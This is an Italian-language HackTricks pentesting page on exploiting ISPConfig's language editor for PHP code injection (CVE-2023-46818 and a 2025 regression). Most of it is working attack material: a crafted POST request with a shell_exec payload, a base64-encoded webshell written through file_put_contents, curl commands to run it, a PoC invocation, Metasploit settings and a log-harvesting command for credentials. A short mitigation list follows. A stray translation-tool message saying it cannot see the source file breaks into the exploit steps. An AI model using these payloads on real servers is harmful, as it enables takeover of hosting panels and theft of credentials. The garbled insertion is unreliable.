ISPConfig

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica

ISPConfig è un control panel hosting open-source. Le versioni più vecchie 3.2.x includevano una funzionalità di editor dei file di lingua che, se abilitata per il super amministratore, permetteva arbitrary PHP code injection tramite un record di traduzione malformato. Questo può portare a RCE nel contesto del web server e, a seconda di come PHP è eseguito, a privilege escalation.

Key default paths:

  • La web root si trova spesso in /var/www/ispconfig quando servita con php -S o tramite Apache/nginx.
  • L’Admin UI è raggiungibile sul vhost HTTP(S) (a volte legato solo a localhost; usa SSH port-forward se necessario).

Tip: If the panel is bound locally (e.g. 127.0.0.1:8080), forward it:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Injection di codice PHP nell’editor della lingua (CVE-2023-46818)

  • Versioni interessate: ISPConfig fino a 3.2.11 (corretto in 3.2.11p1)
  • Precondizioni:
  • Eseguire il login con l’account superadmin integrato admin (secondo il fornitore altri ruoli non sono interessati)
  • L’editor della lingua deve essere abilitato: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Impatto: un admin autenticato può iniettare PHP arbitrario che viene scritto in un file di lingua ed eseguito dall’applicazione, ottenendo RCE nel contesto web

Riferimenti: voce NVD CVE-2023-46818 e advisory del fornitore nel paragrafo References qui sotto.

Flusso di sfruttamento manuale

  1. Aprire/creare un file di lingua per ottenere i token CSRF

Inviare una prima POST per inizializzare il form ed estrarre i campi CSRF dalla risposta HTML (csrf_id, csrf_key). Percorso di esempio della richiesta: /admin/language_edit.php.

  1. Iniettare PHP tramite records[] e salvare

Inviare una seconda POST includendo i campi CSRF e un record di traduzione maligno. Probe minimi per l’esecuzione di comandi:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Test fuori banda (osservare ICMP):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Scrivi file e carica una webshell

Usa file_put_contents per creare un file in un percorso raggiungibile via web (es., admin/):

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Poi scrivi una semplice webshell usando base64 per evitare caratteri non validi nel body della POST:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Non vedo il contenuto del file src/network-services-pentesting/pentesting-web/ispconfig.md. Per favore incolla qui il contenuto del file (o caricalo), così lo traduco in italiano mantenendo intatta la sintassi Markdown/HTML e i tag/link/percorsi.

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Se PHP viene eseguito come root (es. tramite php -S 127.0.0.1:8080 avviato da root), questo comporta immediate root RCE. Altrimenti si ottiene code execution come web server user.

2025 regression (ISPConfig 3.3.0 / 3.3.0p1)

Il bug del language editor è riapparso in 3.3.0/3.3.0p1 ed è stato corretto in 3.3.0p2. Le precondizioni sono invariate (admin_allow_langedit e admin login). La stessa patch ha anche risolto un monitor XSS e world-readable rotated logs.

Note:

  • Su 3.3.0/3.3.0p1, world-readable rotated logs under /usr/local/ispconfig/interface/log/ may leak credentials if debug logging was enabled:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • I passaggi dell’exploit corrispondono a CVE-2023-46818; 3.3.0p2 aggiunge controlli aggiuntivi prima della modifica della lingua.

Python PoC

Un exploit pronto all’uso automatizza la gestione dei token e la consegna del payload:

Esempio di esecuzione:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit module (rilasciato luglio 2025)

Rapid7 ha aggiunto exploit/linux/http/ispconfig_lang_edit_php_code_injection, che può abilitare automaticamente admin_allow_langedit se l’admin account fornito ha i diritti system-config.

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

Il modulo scrive un payload codificato in base64 tramite records[] e lo esegue, ottenendo un PHP Meterpreter o un payload personalizzato.

Mitigazioni

  • Aggiornare a 3.2.11p1 o successiva per il problema originale, e a 3.3.0p2 o successiva per la regressione del 2025.
  • Disabilitare l’editor delle lingue a meno che non sia strettamente necessario:
admin_allow_langedit=no
  • Evitare di eseguire il pannello come root; configurare PHP-FPM o il web server per drop privileges
  • Imporre un’autenticazione forte per l’account integrato admin

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks